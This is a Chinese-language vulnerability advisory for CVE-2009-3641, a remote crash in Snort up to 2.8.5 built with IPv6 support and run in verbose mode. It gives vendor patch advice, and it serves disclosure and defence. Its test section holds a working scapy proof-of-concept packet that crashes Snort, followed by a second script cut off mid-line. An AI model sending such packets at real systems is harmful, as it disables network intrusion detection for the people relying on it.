发布日期：2009-10-22
更新日期：2009-10-26

受影响系统：

Snort Project Snort <= 2.8.5

不受影响系统：

Snort Project Snort 2.8.5.1

描述：

---

BUGTRAQ  ID: 36795
CVE(CAN) ID: CVE-2009-3641

Snort是广泛部署的开放源码网络入侵检测系统（IDS）。

对于编译了--enable-ipv6选项且以verbose模式（-v）运行的Snort，远程攻击者可以通过向其发送特制的IPv6报文导致崩溃。

<*来源：laurent gaffié （laurent.gaffié@gmail.com）
  
  链接：http://secunia.com/advisories/37135/
        http://marc.info/?l=full-disclosure&m=125624865329033&q=p5
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

1) # 仅限x86平台

#/usr/bin/env python
from scapy.all import *
u = "\x92"+"\x02" * 6
send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP

2) # x86和x64平台

#/usr/bin/env python
from scapy.all import *

z = "Q" * 30
send(IPv6(dst="

建议：

---

厂商补丁：

Snort Project
-------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.snort.org/downloads

浏览次数：2464
严重程度：0（网友投票）